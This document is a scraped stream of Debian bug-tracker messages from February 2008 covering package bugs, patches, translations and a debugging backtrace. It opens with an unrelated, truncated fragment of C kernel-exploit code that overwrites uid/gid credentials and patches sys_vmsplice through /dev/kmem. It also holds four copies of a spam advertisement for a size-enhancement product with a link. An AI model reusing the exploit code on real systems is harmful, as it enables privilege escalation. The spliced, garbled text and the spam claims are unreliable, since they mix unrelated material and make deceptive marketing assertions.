p[4] == gid p[5] == gid
p[6] == gid p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
voidde_exploit()
{
char line[4096];
FILE* ksyms = fopen(/proc/kallsyms, r);
size_t address = 0;
size_t compat_address = 0;
if(!ksyms)
{
perror(Could not open /proc/kallsyms);
exit(EXIT_FAILURE);
}
while(fgets(line, sizeof(line), ksyms))
{
if(strstr(line, sys_vmsplice))
{
sscanf(line, %zx, address);
}
if(strstr(line, compat_sys_vmsplice))
{
sscanf(line, %zx, compat_address);
}
}
if(!address)
{
fprintf(stderr, Address not found\n);
exit(EXIT_FAILURE);
}
int fd = open(/dev/kmem, O_RDWR);
if(fd == -1)
{
perror(open(\/dev/kmem\));
exit(EXIT_FAILURE);
}
char* map = mmap(0, 0x20, PROT_READ | PROT_WRITE, MAP_SHARED, fd, address
~0xFFF);
if(map == MAP_FAILED)
{
perror(mmap);
exit(EXIT_FAILURE);
}
map[address 0xfff] = 0xc3; /* 0xC3 = RET */
if (compat_address) {
printf(Patched sys_vmsplice, now patching compat_sys_vmsplice\n);
char* map = mmap(0, 0x20, PROT_READ | PROT_WRITE, MAP_SHARED, fd,
compat_address ~0xFFF);
if(map == MAP_FAILED)
{
perror(mmap);
exit(EXIT_FAILURE);
}
Bug#437354: libqt4-dev: Put qmake into its own package
Hi Brian, On Mon, 11 Feb 2008 22:18:11 -0500 Brian Nelson wrote: are there any updates on this? I maintain pokerth which needs qmake4, libqt4-core and libqt4-gui, but not -sql, -qt3support etc. At the moment it build-depends on libqt4-dev which fetches way too much stuff in during building, what is annoying :) I don't see any compelling reason to split out qmake, and doing so now would probably break some package builds. I think this should be closed or tagged wontfix. At the moment, all packages which need qmake4 need to depend on libqt4-dev. That fetches a really long list of other libs in, which sometimes (as in my case descibed above) aren't needed for the compilation of the package. So I would split all /usr/bin/ and /usr/share/qt4/mkspecs/ into an own package and let libqt4-dev depend on it. So no packages depending on libqt4-dev will fail, and maintainers have the choise to depend on qmake only. Regards Evgeni pgpA3mRe28yLr.pgp Description: PGP signature
Bug#465303: xserver-xorg-input-evtouch: Touchscreen loses absolute mode after suspend/resume
Package: xserver-xorg-input-evtouch Version: 0.8.7-3 Severity: normal With the most recent release of the evtouch driver I am finally able to calibrate the touchscreen on my Raon Everun! Thanks! However, after a suspend/resume, the device appears to either lose absolute mode or lose its calibration information, not sure which. Behavior is that touching the screen moves the pointer somewhere strange, dragging drags the pointer close to but not exactly the speed of the stylus, and the pointer appears to have some acceleration scaled into its motion. Thanks, Bill Gribble !DSPAM:47b0992a12635475820820! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465304: aosd-cat: takes too much time and CPU to display long line in a big font
Package: aosd-cat Version: 0.2.4-1 Severity: normal This takes a long time, and uses 100% of the CPU while doing so: echo testing one two three four a very long line of text | aosd_cat --font=DejaVu Sans 36 -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'stable'), (400, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages aosd-cat depends on: ii libaosd-text2 0.2.4-1atheme.org's on screen display lib ii libaosd2 0.2.4-1atheme.org's on screen display lib ii libc6 2.7-6 GNU C Library: Shared libraries ii libglib2.0-0 2.14.5-2 The GLib library of C routines ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio aosd-cat recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465282: dpkg-dev: Set a set of compiler flags for a build
On Mon, Feb 11, 2008 at 05:39:10PM +0100, Matthias Klose wrote:
Content-Description: message body text
Package: dpkg-dev
Severity: wishlist
Please find attached a patch which implements setting a set of
compiler flags for a build; this was first announced in
http://lists.debian.org/debian-devel/2007/12/msg00090.html
Now simpliefied to just use the CFLAGS/CFLAGS_APPEND naming by Colin
Watson.
Maybe more like this (still missing l10n, but a lot less code
duplication):
diff --git a/scripts/dpkg-buildpackage.pl b/scripts/dpkg-buildpackage.pl
index 72854dd..a550f4c 100755
--- a/scripts/dpkg-buildpackage.pl
+++ b/scripts/dpkg-buildpackage.pl
@@ -242,9 +242,8 @@ if ($signcommand) {
}
}
+my $build_opts = Dpkg::BuildOptions::parse();
if ($parallel) {
-my $build_opts = Dpkg::BuildOptions::parse();
-
$parallel = $build_opts-{parallel} if (defined $build_opts-{parallel});
$ENV{MAKEFLAGS} ||= '';
if ($parallel eq '-1') {
@@ -256,6 +255,26 @@ if ($parallel) {
Dpkg::BuildOptions::set($build_opts);
}
+my $default_flags = defined $build_opts-{noopt} ? -g -O0 : -g -O2;
+my %flags = ( CPPFLAGS = '',
+ CFLAGS = $default_flags,
+ CXXFLAGS = $default_flags,
+ FFLAGS = $default_flags,
+ LDFLAGS = -Wl,-Bsymbolic-functions,
+);
+
+foreach my $flag (keys %flags) {
+if ($ENV{${flag}}) {
+ print $progname: use ${flag} from environment: $ENV{${flag}}\n;
+} else {
+ $ENV{${flag}} = $flags{$flag};
+ print $progname: set ${flag} to default value: $ENV{${flag}}\n;
+}
+if ($ENV{${flag}_APPEND}) {
+ $ENV{${flag}} .= .$ENV{${flag}_APPEND};
+}
+}
+
my $cwd = cwd();
my $dir = basename($cwd);
Gruesse,
--
Frank Lichtenheld [EMAIL PROTECTED]
www: http://www.djpig.de/
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465301: Icewm - X shape extension problem
Package: icewm Version: 1.2.33-1 There's a problem with the X shape extension when using icewm. Steps to reproduce: Open xterm, start blast, make holes in xterm window by clicking the left mouse button, quit blast by clicking the right mouse button, move or resize window. Result: Holes disappear when moving or resizing. Correct behaviour (can be observed with other window managers like metacity): Holes stay. This problem occours both in unstable's and stable's icewem versions. I tested on i386 stable and amd64 unstable. Philipp -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465300: kcontrol: font settings not avaible
Package: kcontrol Version: 4:3.5.8.dfsg.1-7 Severity: normal Since 3-4 days, the font settings in kcontrol aren't avaible anymore. When I click on it (kcontrol / appearance themes / fonts), it just shows me menu entries of apperance themes on the right, just like when I click on appearance themes on the menu in the left. All other menu entries are working. Furthermore, when it worked, I couldn't chose sub-pixel-rendering and had to manually edit the .fonts.conf and change none to rgb to enable sub-pixel-rendering. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-486 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages kcontrol depends on: ii kdebase-data 4:3.5.8.dfsg.1-7 shared data files for the KDE base ii kdelibs4c2a4:3.5.8.dfsg.1-7 core libraries and binaries for al ii kicker 4:3.5.8.dfsg.1-7 desktop panel for KDE ii libacl12.2.45-1 Access control list shared library ii libart-2.0-2 2.3.20-1 Library of functions for 2D graphi ii libattr1 1:2.4.39-1Extended attribute shared library ii libaudio2 1.9.1-1 Network Audio System - shared libr ii libc6 2.7-6 GNU C Library: Shared libraries ii libfam02.7.0-13.1Client library to control the FAM ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype6 2.3.5-1+b1FreeType 2 font engine, shared lib ii libgcc11:4.3-20080202-1 GCC support library ii libgl1-mesa-glx [libgl 7.0.2-4 A free implementation of the OpenG ii libglu1-mesa [libglu1] 7.0.2-4 The OpenGL utility library (GLU) ii libice62:1.0.4-1 X11 Inter-Client Exchange library ii libidn11 1.1-1 GNU libidn library, implementation ii libjpeg62 6b-14 The Independent JPEG Group's JPEG ii libpng12-0 1.2.15~beta5-3PNG library - runtime ii libqt3-mt 3:3.3.8b-1Qt GUI Library (Threaded runtime v ii libraw1394-8 1.3.0-2 library for direct access to IEEE ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libssl0.9.80.9.8g-4 SSL shared libraries ii libstdc++6 4.3-20080202-1The GNU Standard C++ Library v3 ii libusb-0.1-4 2:0.1.12-9userspace USB programming library ii libx11-6 2:1.0.3-7 X11 client-side library ii libxcursor11:1.1.9-1 X cursor management library ii libxext6 1:1.0.3-2 X11 miscellaneous extension librar ii libxft22.1.12-2 FreeType-based font drawing librar ii libxi6 2:1.1.3-1 X11 Input extension library ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii libxrandr2 2:1.2.2-1 X11 RandR extension library ii libxrender11:0.9.4-1 X Rendering Extension client libra ii libxt6 1:1.0.5-3 X11 toolkit intrinsics library ii libxtst6 2:1.0.3-1 X11 Testing -- Resource extension ii usbutils 0.73-5Linux USB utilities ii zlib1g 1:1.2.3.3.dfsg-11 compression library - runtime Versions of packages kcontrol recommends: ii udev 0.114-2/dev/ and hotplug management daemo -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464907: dpkg seems not to check for broken versioned dependencies when upgrading
Raphael Hertzog wrote: I haven't checked, but this sounds very similar to #20471. There's a patch in that bug. If you can take some time to verify if it also fixes this issue, it would be nice. I tried 0001-Check-dependencies-_on_-the-package-we-re-to-upgrade.patch : [EMAIL PROTECTED]:~joey/lib/debian/unstabledpkg -i fbreader_0.8.14-1_i386.deb libzltext_0.8.14-1_i386.deb libzlcore_0.8.14-1_i386.deb (Reading database ... 173289 files and directories currently installed.) Preparing to replace fbreader 0.8.13-1 (using fbreader_0.8.14-1_i386.deb) ... Unpacking replacement fbreader ... Preparing to replace libzltext 0.8.13-1 (using libzltext_0.8.14-1_i386.deb) ... Unpacking replacement libzltext ... dpkg: libzlcore_0.8.14-1_i386.deb containing libzlcore breaks existing dependency: libzlui-gtk depends on libzlcore (= 0.8.13-1) libzlcore is to be installed, but is version 0.8.14-1. dpkg: error processing libzlcore_0.8.14-1_i386.deb (--install): existing dependency problem - not installing libzlcore dpkg: dependency problems prevent configuration of fbreader: fbreader depends on libzlcore (= 0.8.14); however: Version of libzlcore on system is 0.8.13-1. dpkg: error processing fbreader (--install): dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of libzltext: libzltext depends on libzlcore (= 0.8.14-1); however: Version of libzlcore on system is 0.8.13-1. dpkg: error processing libzltext (--install): dependency problems - leaving unconfigured Errors were encountered while processing: libzlcore_0.8.14-1_i386.deb fbreader libzltext zsh: exit 1 dpkg -i fbreader_0.8.14-1_i386.deb libzltext_0.8.14-1_i386.deb Which looks perfect. -- see shy jo signature.asc Description: Digital signature
Bug#465230: cannot install package
2008/2/11, Joachim Breitner [EMAIL PROTECTED]: Hi, Am Montag, den 11.02.2008, 17:15 +0100 schrieb Rubén Porras: 2008/2/11, Joachim Breitner [EMAIL PROTECTED]: Hi, sorry for the bug, it was a little mistake with the dependencies. Fixed version is being uploaded. If you have trouble removing the package, try to remove the /lib/dpkg/info/libghc6-xmonad-contrib-dev.postrm file before trying to remove it, it might help. I think they are still wrong, there is no xmonad-contrib-0.6 provided by the xmonad-contrib source package. Note that the referred xmonad-contrib-0.6 is not a Debian package but a haskell (ghc-pkg) package... Which is not available. And I can't do anything but remove the packages with a --force-all option. Is there any way te fake ghc-pkg on this matter? Because installing libghc6-x11-dev_1.4.1-0.nomeata3_i386.deb does not solve the problem. cheers.
Bug#465298: Missing pan entry in Debian menu
Package: pan Version: 0.132-2 Severity: normal Hello The file /usr/share/menu/pan contain old debian menu entry: ?package(pan):needs=X11 section=Apps/Net\ title=Pan command=/usr/bin/pan hints=News Reader\ icon=/usr/share/pixmaps/pan.xpm I believe it should contain information related to the new Debian menu layout. Something like: ?package(iceweasel):needs=x11 section=Applications/Network \ title=Pan \ longtitle=Pan News Reader \ icon=/usr/share/pixmaps/pan.xpm \ command=/usr/bin/pan Could update this file ? Thanks -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24.1dd (SMP w/2 CPU cores) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages pan depends on: ii aspell 0.60.5-2 GNU Aspell spell-checker ii libaspell150.60.5-2 GNU Aspell spell-checker runtime l ii libatk1.0-01.20.0-1 The ATK accessibility toolkit ii libc6 2.7-6 GNU C Library: Shared libraries ii libcairo2 1.4.14-1 The Cairo 2D vector graphics libra ii libfontconfig1 2.5.0-2 generic font configuration library ii libgcc11:4.3-20080116-1 GCC support library ii libglib2.0-0 2.14.5-2 The GLib library of C routines ii libgmime-2.0-2 2.2.12-1 MIME library ii libgtk2.0-02.12.5-2 The GTK+ graphical user interface ii libgtkspell0 2.0.10-4 a spell-checking addon for GTK's T ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libpcre3 7.4-1 Perl 5 Compatible Regular Expressi ii libstdc++6 4.3-20080116-1The GNU Standard C++ Library v3 ii libx11-6 2:1.0.3-7 X11 client-side library ii libxcomposite1 1:0.4.0-1 X11 Composite extension library ii libxcursor11:1.1.9-1 X cursor management library ii libxdamage11:1.1.1-3 X11 damaged region extension libra ii libxext6 1:1.0.3-2 X11 miscellaneous extension librar ii libxfixes3 1:4.0.3-2 X11 miscellaneous 'fixes' extensio ii libxi6 2:1.1.3-1 X11 Input extension library ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii libxrandr2 2:1.2.2-1 X11 RandR extension library ii libxrender11:0.9.4-1 X Rendering Extension client libra ii zlib1g 1:1.2.3.3.dfsg-11 compression library - runtime pan recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465297: lwat: [INTL:de] updated German debconf translation
Package: lwat Version: 0.17-3 Severity: wishlist Tags: patch l10n Please find the updated German debconf translation for lwat attached. Please place this file in debian/po/ as de.po for your next upload. If you update your template, please use 'msgfmt --statistics pofile.po' to check the po-files for fuzzy or untranslated strings. If there are such strings, please contact me so I can update the German translation. Greetings Helge # Translation of lwat debconf templates to German # Copyright (C) Helge Kreutzmann [EMAIL PROTECTED], 2007, 2008. # This file is distributed under the same license as the lwat package. # msgid msgstr Project-Id-Version: lwat 0.17-3\n Report-Msgid-Bugs-To: [EMAIL PROTECTED] POT-Creation-Date: 2008-02-10 12:30+0100\n PO-Revision-Date: 2008-02-11 18:56+0100\n Last-Translator: Helge Kreutzmann [EMAIL PROTECTED]\n Language-Team: de [EMAIL PROTECTED]\n MIME-Version: 1.0\n Content-Type: text/plain; charset=UTF-8\n Content-Transfer-Encoding: 8bit\n #. Type: string #. Description #: ../templates:2001 msgid Server domain name: msgstr Domain-Name des Servers: #. Type: string #. Description #: ../templates:2001 msgid Please enter the domain this server belongs to. msgstr Bitte geben Sie die Domain an, zu der dieser Server gehört. #. Type: string #. Description #: ../templates:3001 msgid LDAP server host: msgstr LDAP-Server-Rechner: #. Type: string #. Description #: ../templates:3001 msgid Please enter the LDAP host which lwat will connect to. msgstr Bitte geben Sie den LDAP-Rechner an, mit dem sich Lwat verbinden wird. #. Type: string #. Description #: ../templates:4001 msgid LDAP base DN: msgstr LDAP Basis-DN: #. Type: string #. Description #: ../templates:4001 msgid Please enter the \Distinguished Name\ (DN) of the LDAP server where all groups, people, machines, etc. are listed. msgstr Bitte geben Sie den »Distinguished Name« (DN) des LDAP-Servers ein, in der alle Gruppen, Personen, Maschinen usw. aufgeführt sind. #. Type: boolean #. Description #: ../templates:5001 msgid Should lwat use lisGroup? msgstr Soll Lwat lisGroup verwenden? #. Type: boolean #. Description #: ../templates:5001 msgid Debian Edu/Skolelinux uses a private schema called lisGroup to differentiate between various group types. You should choose this option if you are testing lwat on an old Skolelinux server, and still want to be able to use the webmin module wlus. msgstr Debian Edu/Skolelinux verwendet ein privates Schema namens »lisGroup«, um zwischen verschiedenen Gruppentypen zu unterscheiden. Sie sollten diese Option wählen, falls Sie Lwat auf einem alten Skolelinux-Server testen und dennoch das Webmin-Modul Wlus verwenden können möchten. #. Type: boolean #. Description #: ../templates:5001 msgid If you do not choose this option, the AuthGroup setting will be used to create a groupOfMembers. msgstr Falls Sie diese Option nicht wählen, wird die AuthGroup-Einstellung verwendet, um eine groupOfMembers zu erstellen. #. Type: string #. Description #: ../templates:6001 msgid Location of users' home directories: msgstr Ort der Home-Verzeichnisse der Benutzer: #. Type: string #. Description #: ../templates:6001 msgid Please enter the path where the personal (home) directories of all users are stored. msgstr Bitte geben Sie den Pfad ein, unter dem die persönlichen (Home) Verzeichnissen aller Benutzer gespeichert sind. #. Type: string #. Description #: ../templates:7001 msgid Prefix for groups on the LDAP server: msgstr Präfix für Gruppen auf dem LDAP-Server: #. Type: string #. Description #: ../templates:7001 msgid Please enter the prefix under which the groups information is stored. msgstr Bitte geben Sie den Präfix ein, unter dem die Gruppeninformation gespeichert ist. #. Type: string #. Description #. Type: string #. Description #. Type: string #. Description #. Type: string #. Description #: ../templates:7001 ../templates:8001 ../templates:9001 ../templates:10001 msgid Do not include the DN prefix in this setting. It will be automatically added in the generated configuration file. msgstr Der DN-Präfix darf in dieser Einstellung nicht enthalten sein, da er in der generierten Konfigurationsdatei automatisch hinzugefügt wird. #. Type: string #. Description #: ../templates:8001 msgid Prefix for authorization groups on the LDAP server: msgstr Präfix auf dem LDAP-Server für Authorisierungsgruppen: #. Type: string #. Description #: ../templates:8001 msgid Please enter the prefix under which the authorization groups information is stored. msgstr Bitte geben Sie den Präfix ein, unter dem die Authorisierungsgruppeninformation gespeichert ist. #. Type: string #. Description #: ../templates:9001 msgid Prefix for hosts on the LDAP server: msgstr Präfix für Rechner auf dem LDAP-Server: #. Type: string #. Description #: ../templates:9001 msgid Please enter the prefix under which the hosts information is stored. msgstr Bitte geben Sie den Präfix
Bug#347790: reminder, this bug was fixed, the fix reverted, and is currently open with patch
Julien Cristau wrote: On Sat, Feb 9, 2008 at 19:48:01 -0500, Joey Hess wrote: I'm getting tired of having to build my own xterm for over a year.. The fix wasn't reverted, it was modified in 225 with the addition of the alwaysBoldMode resource, as documented in the manpage. It would be nice if you could summarize what behaviour you expect and how the actual behaviour differs from what's documented in the manpage (the bug log is long enough that I'm getting a bit confused as to the current status). I would like to disable overstriking and use the same font (fixed) for both normal and bold text. boldMode alwaysBoldMode Comparison Action false falseignored use font false true ignored use font true falsesame overstrike true falsedifferentuse font true true ignored overstrike I tried all four combinations in this table, and the action was always for overstriking to be used for bold text. -- see shy jo signature.asc Description: Digital signature
Bug#465296: grub2: Minor errors in Debconf template
Package: grub2 Version: 1.96+20080203-1 Severity: minor Tags: patch While updating the German translation I noticed the following minor errors: - - Reinstall GRUB (typicaly, by running grub-install).\n + - Reinstall GRUB (typically, by running grub-install).\n -msgid Chainload from menu.lst ? +msgid Chainload from menu.lst? Please unfuzzy all translations after fixing. If you have problems with this, please do not hesitate to ask on [EMAIL PROTECTED] for help. -- Dr. Helge Kreutzmann [EMAIL PROTECTED] Dipl.-Phys. http://www.helgefjell.de/debian.php 64bit GNU powered gpg signed mail preferred Help keep free software libre: http://www.ffii.de/ signature.asc Description: Digital signature
Bug#465293: use securitry-tracker.d.n rather than idssi.enyo.de as tracker URL
Package: debsecan Severity: wishlist Tags: patch Hi, please use security-tracker.debian.net in the report URLs linking to the specific CVE id in the security tracker. This would make them look more official. Kind regards Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. diff -Nurad debsecan-0.4.10/README debsecan-0.4.10.new/README --- debsecan-0.4.10/README 2007-08-19 21:17:44.0 +0200 +++ debsecan-0.4.10.new/README 2008-02-11 18:40:09.0 +0100 @@ -19,7 +19,7 @@ A web interface to the database is available at: - http://idssi.enyo.de/tracker/ + http://security-tracker.debian.net/tracker/ FAQ --- diff -Nurad debsecan-0.4.10/src/debsecan debsecan-0.4.10.new/src/debsecan --- debsecan-0.4.10/src/debsecan 2007-09-02 17:57:39.0 +0200 +++ debsecan-0.4.10.new/src/debsecan 2008-02-11 18:40:35.0 +0100 @@ -1010,7 +1010,7 @@ return ' '.join(result) # should not be reachedg def write_url(bug): -w( http://idssi.enyo.de/tracker/%s % bug) +w( http://security-tracker.debian.net/tracker/%s % bug) def scan(fix_status, new_status): have_obsolete = False pgpSaSNkF6Pq2.pgp Description: PGP signature
Bug#465292: freetype: long term mass bug filing for cross build support.
Package: freetype Version: 2.3.5-1 Severity: wishlist Tags: patch User: [EMAIL PROTECTED] Usertags: crossbuilt In line with the other cross-building support bugs: http://lists.debian.org/debian-devel/2007/11/msg00116.html This patch is necessary to allow freetype to cross-build in Debian, following the recommendations from autotools-dev. *** ../crossbuild.diff --- freetype-2.3.5.debian/debian/rules +++ freetype-2.3.5.emdebian/debian/rules @@ -4,6 +4,14 @@ # version 2 or later for copying conditions. There is NO warranty. SHELL = /bin/bash + +DEB_HOST_GNU_TYPE=$(shell dpkg-architecture -qDEB_HOST_GNU_TYPE) +DEB_BUILD_GNU_TYPE=$(shell dpkg-architecture -qDEB_BUILD_GNU_TYPE) +ifneq ($(DEB_HOST_GNU_TYPE),$(DEB_BUILD_GNU_TYPE)) +CROSS= --build $(DEB_BUILD_GNU_TYPE) --host $(DEB_HOST_GNU_TYPE) +else +CROSS= --build $(DEB_BUILD_GNU_TYPE) +endif # FreeType sets its -Wall in XX_CFLAGS CFLAGS = -g @@ -82,7 +90,7 @@ build: unpack patch build-stamp build-stamp: dh_testdir - cd $(freetype_u) ./configure --prefix=/usr CFLAGS=\$(CFLAGS)\ + cd $(freetype_u) ./configure $(CROSS) --prefix=/usr CFLAGS=\$(CFLAGS) \ # cd $(freetype_u) ./configure --prefix=/usr $(MAKE) -C $(freetype_u) -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-1-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash signature.asc Description: Digital signature
Bug#104373: pop it twice a day for a bigger sway
Pop this twice a day to increase your lenght and girth considerably. if your lady tells you that size is of no importance, she is lying to you. studies clearly show that the intimate life of couples whose man has a smaller one is a lot less active than their counterparts who have big sizes. So think about it again. http://ulieskab.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#100363: Size does matter!
Pop this twice a day to increase your lenght and girth considerably. if your lady tells you that size is of no importance, she is lying to you. studies clearly show that the intimate life of couples whose man has a smaller one is a lot less active than their counterparts who have big sizes. So think about it again. http://ulieskab.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#103008: Size is important
Pop this twice a day to increase your lenght and girth considerably. if your lady tells you that size is of no importance, she is lying to you. studies clearly show that the intimate life of couples whose man has a smaller one is a lot less active than their counterparts who have big sizes. So think about it again. http://ulieskab.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#106370: Want a bigger one?
Pop this twice a day to increase your lenght and girth considerably. if your lady tells you that size is of no importance, she is lying to you. studies clearly show that the intimate life of couples whose man has a smaller one is a lot less active than their counterparts who have big sizes. So think about it again. http://ulieskab.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465116: apt-listchanges: [sparc] Crashes with
On Monday 11 February 2008, you wrote: Oh and I'm *COMPLETELY* silly. it's not: gdb /usr/bin/atp-listchanges /path/to/core but, $ gdb /usr/bin/python /path/to/core. MUCH better :-) (gdb) bt full #0 0xf7f7b078 in pthread_cond_init@@GLIBC_2.3.2 () from /lib/libpthread.so.0 No symbol table info available. #1 0xf7760d50 in __db_pthread_mutex_init () from /usr/lib/libdb-4.6.so No symbol table info available. #2 0xf77d3894 in __mutex_alloc_int () from /usr/lib/libdb-4.6.so No symbol table info available. #3 0xf77d4284 in __mutex_open () from /usr/lib/libdb-4.6.so No symbol table info available. #4 0xf7818bd0 in __env_open () from /usr/lib/libdb-4.6.so No symbol table info available. #5 0xf7886274 in DBEnv_open (self=0x2b78e0, args=0xf7b15aa8) at /build/buildd/python2.4-2.4.4/Modules/_bsddb.c:3570 _save = (PyThreadState *) 0x1341b8 err = value optimized out flags = 9044097 mode = 432 db_home = 0xf7ce5874 . #6 0x000e2590 in PyCFunction_Call (func=0xf764ae18, arg=0xf7b15aa8, kw=0x0) at ../Objects/methodobject.c:108 meth = (PyCFunction) 0xf78861f4 DBEnv_open self = (PyObject *) 0x2b78e0 size = 1 #7 0x000903a4 in PyEval_EvalFrame (f=0x1b5b18) at ../Python/ceval.c:3568 i = value optimized out stack_pointer = (PyObject **) 0x1341b8 next_instr = (unsigned char *) 0xf7cc3569 \001|\001 opcode = value optimized out oparg = 2 why = value optimized out err = 0 x = value optimized out v = (PyObject *) 0xf7c80d20 w = (PyObject *) 0x1341b8 u = (PyObject *) 0x1341b8 t = value optimized out stream = (PyObject *) 0x1341b8 freevars = (PyObject **) 0x1b5c6c retval = (PyObject *) 0x0 tstate = (PyThreadState *) 0x1341b8 co = (PyCodeObject *) 0xf7c80d20 instr_ub = -1 instr_lb = 0 instr_prev = -1 first_instr = (unsigned char *) 0xf7cc34f4 t names = (PyObject *) 0xf7ccada0 consts = (PyObject *) 0xf7c84120 #8 0x0009077c in PyEval_EvalFrame (f=0x1e5998) at ../Python/ceval.c:3651 sp = (PyObject **) 0x1e5b1c stack_pointer = (PyObject **) 0x1e5b1c next_instr = (unsigned char *) 0xf7c8504c }\t opcode = value optimized out oparg = value optimized out why = value optimized out err = 0 x = (PyObject *) 0x0 v = (PyObject *) 0xf7c80c20 w = (PyObject *) 0x1341b8 u = (PyObject *) 0x1341b8 t = value optimized out stream = (PyObject *) 0x1341b8 freevars = (PyObject **) 0x1e5b14 retval = (PyObject *) 0x0 tstate = (PyThreadState *) 0x1341b8 co = (PyCodeObject *) 0xf7c80c20 instr_ub = -1 instr_lb = 0 instr_prev = -1 first_instr = (unsigned char *) 0xf7c85034 t names = (PyObject *) 0xf7cd44b0 consts = (PyObject *) 0xf7cb0830 #9 0x0009154c in PyEval_EvalCodeEx (co=0xf7c80c20, globals=value optimized out, locals=value optimized out, args=0x18c544, argcount=3, kws=0x18c550, kwcount=0, defs=0xf7c8ce7c, defcount=8, closure=0x0) at ../Python/ceval.c:2741 m = 8 i = 8 n = 3 kwdict = (PyObject *) 0x0 f = (PyFrameObject *) 0x1e5998 retval = (PyObject *) 0x1e5b08 fastlocals = (PyObject **) 0x1e5ae4 freevars = (PyObject **) 0x1e5b14 tstate = (PyThreadState *) 0x1341b8 x = (PyObject *) 0x0 u = (PyObject *) 0x1e5b08 #10 0x00090664 in PyEval_EvalFrame (f=0x18c3e8) at ../Python/ceval.c:3661 sp = (PyObject **) 0x18c550 stack_pointer = (PyObject **) 0x18c550 next_instr = (unsigned char *) 0xf7c79d66 S opcode = value optimized out oparg = 3 why = value optimized out err = 0 x = value optimized out v = (PyObject *) 0xf7c80320 w = (PyObject *) 0x1 u = (PyObject *) 0x1 t = value optimized out stream = (PyObject *) 0x1 freevars = (PyObject **) 0x18c540 retval = (PyObject *) 0x0 tstate = (PyThreadState *) 0x1341b8 co = (PyCodeObject *) 0xf7c80320 instr_ub = -1 instr_lb = 0 instr_prev = -1 first_instr = (unsigned char *) 0xf7c79d54 t names = (PyObject *) 0xf7c79810 consts = (PyObject *) 0xf7c83fd0 #11 0x0009154c in PyEval_EvalCodeEx (co=0xf7c80320, globals=value optimized out, locals=value optimized out, args=0x152e48, argcount=3, kws=0x152e54, kwcount=0, defs=0xf7c82b54, defcount=2, closure=0x0) at ../Python/ceval.c:2741 m = 1240064 i = 3 n = 3 kwdict = (PyObject *) 0x0 f = (PyFrameObject *) 0x18c3e8 retval = (PyObject *) 0xc fastlocals = (PyObject **) 0x18c534 freevars = (PyObject **) 0x18c540 tstate = (PyThreadState *) 0x1341b8 x = (PyObject *) 0x0 u =
